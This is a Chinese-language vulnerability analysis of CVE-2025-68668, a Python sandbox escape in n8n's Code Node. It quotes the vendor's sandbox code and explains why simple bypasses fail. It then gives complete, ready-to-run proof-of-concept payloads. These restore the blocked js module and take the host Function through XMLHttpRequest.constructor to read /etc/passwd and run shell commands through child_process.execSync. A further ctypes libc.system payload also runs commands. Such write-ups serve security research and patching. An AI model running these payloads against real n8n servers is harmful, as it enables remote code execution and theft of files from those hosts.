CVE-2025-68668:n8n Python沙箱绕过漏洞分析
本文深入分析CVE-2025-68668,揭示n8n中Python Code Node的沙箱逃逸机制,涵盖ctypes绕过与JS对象引用泄露。
CVE-2025-68668 沙箱绕过分析
前言
要分析 AI 组件漏洞了,突然爆出了很多,n8n 就是其中一个,都是沙箱逃逸,和 dify 这种工作流一样,很容易出现的一类漏洞
一、漏洞概述
n8n 是 n8n 开源的一个可扩展的工作流自动化工具。
n8n 1.0.0 版本至 2.0.0 之前版本存在安全漏洞,该漏洞源于 Python Code Node 存在沙箱绕过问题,可能导致执行任意命令。

二、漏洞分析/漏洞复现
核心文件
我们要分析的核心有两个文件
/usr/local/lib/node_modules/n8n/node_modules/.pnpm/
└── n8n-nodes-base@file+packages+nodes-base_...
└── node_modules/n8n-nodes-base/dist/nodes/Code/
├── Pyodide.js # 沙箱初始化 (核心漏洞点)
└── PythonSandbox.js # 代码执行沙箱PythonSandbox.js 分析
// ========== 核心执行流程 ==========
async runCodeInPython() {
// 步骤 1: 加载 Pyodide (带沙箱配置)
const pyodide = await (0, Pyodide_1.LoadPyodide)(packageCacheDir);
// 步骤 2: 初始化 JS 代理类型
await pyodide.runPythonAsync('jsproxy_typedict[0] = type(Object.new().as_object_map())');
// 步骤 3: 从用户代码中加载依赖包
await pyodide.loadPackagesFromImports(this.pythonCode);
// 步骤 4: 准备全局变量环境
const dict = pyodide.globals.get('dict');
const globalsDict = dict();
for (const key of Object.keys(this.context)) {
if ((key === '_env' && envAccessBlocked) || key === '_node')
continue;
const value = this.context[key];
globalsDict.set(key, value);
}
// 步骤 5: 设置标准输出
pyodide.setStdout({ batched: (str) => this.emit('output', str) });
// 步骤 6: 构造并执行用户代码
const runCode = `
async def __main():
${this.pythonCode
.split('\n')
.map((line) => ' ' + line)
.join('\n')}
await __main()`;
// 步骤 7: 在指定环境中执行
executionResult = await pyodide.runPythonAsync(runCode, { globals: globalsDict });
return executionResult.toJs({
dict_converter: Object.fromEntries,
create_proxies: false,
});
}Pyodide.js 分析
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.LoadPyodide = LoadPyodide;
const node_path_1 = require("node:path");
const node_vm_1 = require("node:vm");
let pyodideInstance;
async function LoadPyodide(packageCacheDir) {
if (pyodideInstance === undefined) {
// 动态加载 pyodide 和 xmlhttprequest-ssl
const { loadPyodide } = await Promise.resolve().then(() => __importStar(require('pyodide')));
const { XMLHttpRequest } = await Promise.resolve().then(() => __importStar(require('xmlhttprequest-ssl')));
// 获取 Pyodide 索引路径
const indexURL = (0, node_path_1.dirname)(require.resolve('pyodide'));
// ========== 创建 VM 上下文 ==========
const context = (0, node_vm_1.createContext)({
loadPyodide,
indexURL,
packageCacheDir,
jsglobals: {
console,
fetch,
AbortController,
AbortSignal,
Object,
XMLHttpRequest,
},
});
// ========== 加载 Pyodide 实例 ==========
pyodideInstance = (await (0, node_vm_1.runInContext)('loadPyodide({ indexURL, packageCacheDir, jsglobals })', context));
// ========== 沙箱配置 (核心漏洞点) ==========
await pyodideInstance.runPythonAsync(`
import os
// 定义阻止函数
def blocked_function(*args, **kwargs):
raise RuntimeError("Blocked for security reasons")
// ========== 防护 1: 覆盖 os.system ==========
os.system = blocked_function
from importlib.abc import MetaPathFinder
from importlib.machinery import ModuleSpec
from types import ModuleType
from typing import Sequence, Optional
from _pyodide_core import jsproxy_typedict
from js import Object
// ========== 防护 2: 阻止 JS 构造函数 ==========
// 防止通过 Object.constructor.constructor 执行任意 JS 代码
Object.constructor.constructor = blocked_function
import sys
// ========== 防护 3: 替换 js 模块 ==========
// 防止通过 js 模块执行 JS 代码
class blocked_module:
def __getattr__(self, name):
blocked_function()
sys.modules['js'] = blocked_module()
`);
}
return pyodideInstance;
}可以看到
对 python 和 js 代码执行都做了一定的防护
防护 1:python 中覆盖了 os.system
防护 2: 阻止 JS 构造函数,并替换了 js 模块
防护分析
由于通报说的是 python 沙箱,我们就分析 python 的绕过
只 ban 掉了 os.system,但是 fork, exec, popen 一样可以执行代码
真的可以吗?
import os
pipe = os.popen('whoami')
result = pipe.read()
pipe.close()
return {"payload": "os.popen", "whoami": result.strip()}
当然还有 subprocess 模块
import subprocess
result = subprocess.run(['whoami'], capture_output=True, text=True)
return {"payload": "subprocess.run", "output": result.stdout.strip()}
这些都不可以
因为环境是代码运行环境是 Emscripten,它不支持原生操作系统的进程管理功能(如 fork, exec, popen 等)
那我们读取文件
import os
try:
with open('/etc/passwd', 'r') as f:
content = f.read()
lines = content.split('\n')
return {
"payload": "read_passwd",
"total_lines": len(lines),
"users": [line.split(':')[0] for line in lines[:10]]
}
except Exception as e:
return {"error": str(e)} 
因为 Pyodide 运行在一个虚拟的文件系统(Virtual File System / MEMFS)中,而不是直接运行在宿主机的真实文件系统上
绕过分析
读取文件
import sys
# 1. 恢复 JS 桥接
if 'js' in sys.modules:
del sys.modules['js']
import js
try:
# ============================================================
# 核心绕过逻辑:利用宿主机传入的对象跳出沙箱
# ============================================================
# 1. 获取 XMLHttpRequest (这是从外部传入的,属于宿主环境对象)
XHR = js.XMLHttpRequest
# 2. 获取宿主机的 Function 构造器
# 解释:XHR 是一个函数/类,XHR.constructor 就是宿主机的 'Function'
# 之前的防护只封锁了沙箱内的 Object,封不到外部传入的 XHR
HostFunction = XHR.constructor
# 3. 在宿主环境执行代码,获取 process
# 这行代码相当于在 Node.js 主进程里运行: return process
get_process = HostFunction("return process")
real_process = get_process()
# 4. 拿到 process 后,就和在本地写 Node.js 一样了
require = real_process.mainModule.require
fs = require('fs')
# 5. 读取文件
content = fs.readFileSync('/etc/passwd', 'utf-8')
# 处理结果
lines = content.split('\n')
return {
"status": "success",
"method": "Host_Object_Escape",
"first_user": lines[0],
"full_content_preview": lines[:5]
}
except Exception as e:
return {
"error": str(e),
"debug_info": "Failed to escape VM via XMLHttpRequest"
} 
核心原理就是利用沙箱隔离机制中存在的一个典型漏洞:对象引用污染或全局对象引用泄露
通过沙箱允许传入的外部对象,XMLHttpRequest,逆向推出底层构造函数,然后在宿主的作用域中执行任意代码
因为任何函数都是 Function 构造器的实例
由于 XHR 来自宿主,XHR.constructor 也是宿主环境的 Function
然后我们可以去获取全局 process 对象,它包含了运行时所有的核心 API
[ 沙箱内部 ] [ 宿主环境 ]
| |
| --- 1. 寻找外部对象 ---> | (存在 XMLHttpRequest)
| |
| <--- 2. 返回原生 XHR --- |
| |
| 3. XHR.constructor |
| (获得宿主 Function) |
| |
| 4. new Function("...") |
| (在宿主环境执行) |
| -----------------------> | (执行 return process)
| |
| <--- 5. 返回 process ---- |
| |
| 6. process.mainModule |
| .require('fs') |
| .readFileSync(...) | (成功读取文件)
| |
执行命令
当然利用同样的原理,我们可以执行命令
import sys
# ==========================================
# 1. 拆除防护,恢复 JS 模块
# ==========================================
if 'js' in sys.modules:
del sys.modules['js']
import js
try:
# ==========================================
# 2. 沙箱逃逸 (VM Escape)
# ==========================================
# 利用外部传入的 XMLHttpRequest 对象的构造器
# 获取宿主环境的 Function 构造器 (即 JS 中的 Function 类)
HostFunction = js.XMLHttpRequest.constructor
# ==========================================
# 3. 构造 JS 执行器 (完美修复 Buffer 报错)
# ==========================================
# 之前的错误是因为 Python 尝试接收 cp.execSync 返回的 Buffer 对象时崩溃。
# 我们改用 HostFunction 创建一个纯 JS 函数,在 JS 内部完成执行和类型转换。
# 这样 Python 拿到的直接就是 String,永远碰不到 Buffer。
# 创建一个 JS 函数: (cmd) => { ... }
exec_in_js = HostFunction("cmd", """
// 这里是纯 JavaScript 代码环境
// 1. 获取 require
const require = process.mainModule.require;
// 2. 导入 child_process
const cp = require('child_process');
return cp.execSync(cmd).toString();
""")
# ==========================================
# 4. 执行命令
# ==========================================
# 现在调用这个 JS 函数,传入命令
cmd_output = exec_in_js('pwd')
return {
"status": "RCE_SUCCESS",
"message": "Server compromised via JS Function encapsulation.",
"command_output": cmd_output
}
except Exception as e:
return {
"status": "FAILED",
"error": str(e)
}
ctypes 导入链
它的绕过维度不同
ctypes 是 Python 的外部函数接口(FFI)库,允许 Python 代码调用 C 语言编译的动态链接库中的函数。
这里有几个知识点我们需要清楚
ctypes 与 os 的关系
# ctypes/__init__.py 源码分析
"""create and manipulate C data types in Python"""
import os as _os, sys as _sys # ← ctypes 内部也导入 os
import types as _types
# ... 后续代码 ...
# ctypes 使用 _os 的地方
if _os.name == "nt": # ← 检查操作系统
from _ctypes import FormatError
if _os.name == "posix" and _sys.platform == "darwin": # ← macOS 特殊处理
DEFAULT_MODE = RTLD_GLOBALctypes 内部使用 import os as _os
我们来对比调用链
正常调用路径
用户代码: os.system('whoami')
↓
Python 层: os 模块的 system 函数
↓
检查: os.system 是 blocked_function
↓
抛出: RuntimeError("Blocked for security reasons")ctypes 绕过路径
用户代码: ctypes.CDLL(None).system(b'whoami')
↓
Python 层: ctypes 模块 (未被阻止)
↓
ctypes 内部: 找到 system 函数地址
↓
FFI 层: 创建 C 函数包装器
↓
C 层: 直接调用 libc 中的 system() 函数
↓
系统层: 执行命令 (绕过 Python 层检查)让 AI 画一个图
┌─────────────────────────────────────────────────────────────────┐
│ Python 进程空间 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌───────────────────────────────────────────────────────────┐ │
│ │ Python 层 │ │
│ │ │ │
│ │ os.system ───────────────────────→ blocked_function ✗ │ │
│ │ │ │
│ │ ctypes.CDLL(None).system ──────────→ ✓ 可用 │ │
│ │ │ │
│ └───────────────────────────────────────────────────────────┘ │
│ ↓ │
│ ┌───────────────────────────────────────────────────────────┐ │
│ │ FFI 边界 │ │
│ │ │ │
│ │ ctypes 创建的 C 函数包装器 │ │
│ │ │ │
│ └───────────────────────────────────────────────────────────┘ │
│ ↓ │
│ ┌───────────────────────────────────────────────────────────┐ │
│ │ C 层 │ │
│ │ │ │
│ │ libc.so.6 / libSystem.dylib │ │
│ │ │ │
│ │ int system(const char *command) { │ │
│ │ // 直接调用系统调用 │ │
│ │ return __system(command); │ │
│ │ } │ │
│ │ │ │
│ └───────────────────────────────────────────────────────────┘ │
│ ↓ │
│ ┌───────────────────────────────────────────────────────────┐ │
│ │ 系统调用层 │ │
│ │ │ │
│ │ execve("/bin/sh", ["sh", "-c", "whoami"], env) │ │
│ │ │ │
│ └───────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘import ctypes
libc = ctypes.CDLL(None)
libc.system.argtypes = [ctypes.c_char_p]
libc.system.restype = ctypes.c_int
result = libc.system(b'echo "CVE-2025-68668_1.116.0" > /tmp/n8n_poc.txt')
return {
"vulnerability": "CVE-2025-68668",
"version": "1.116.0",
"status": "SUCCESS",
"result": result
}

成功
总结
看到了一张图,很清晰
https://www.smartkeyss.com/post/cve-2025-68668-breaking-out-of-the-python-sandbox-in-n8n

参考链接
免责声明
本漏洞分析报告仅用于安全研究和防御目的。请勿将此信息用于任何非法活动。未授权测试他人系统属于违法行为,后果由使用者承担。
本文深入分析CVE-2025-68668,揭示n8n中Python Code Node的沙箱逃逸机制,涵盖ctypes绕过与JS对象引用泄露。
由 AI 根据全文自动生成,仅供参考,以原文为准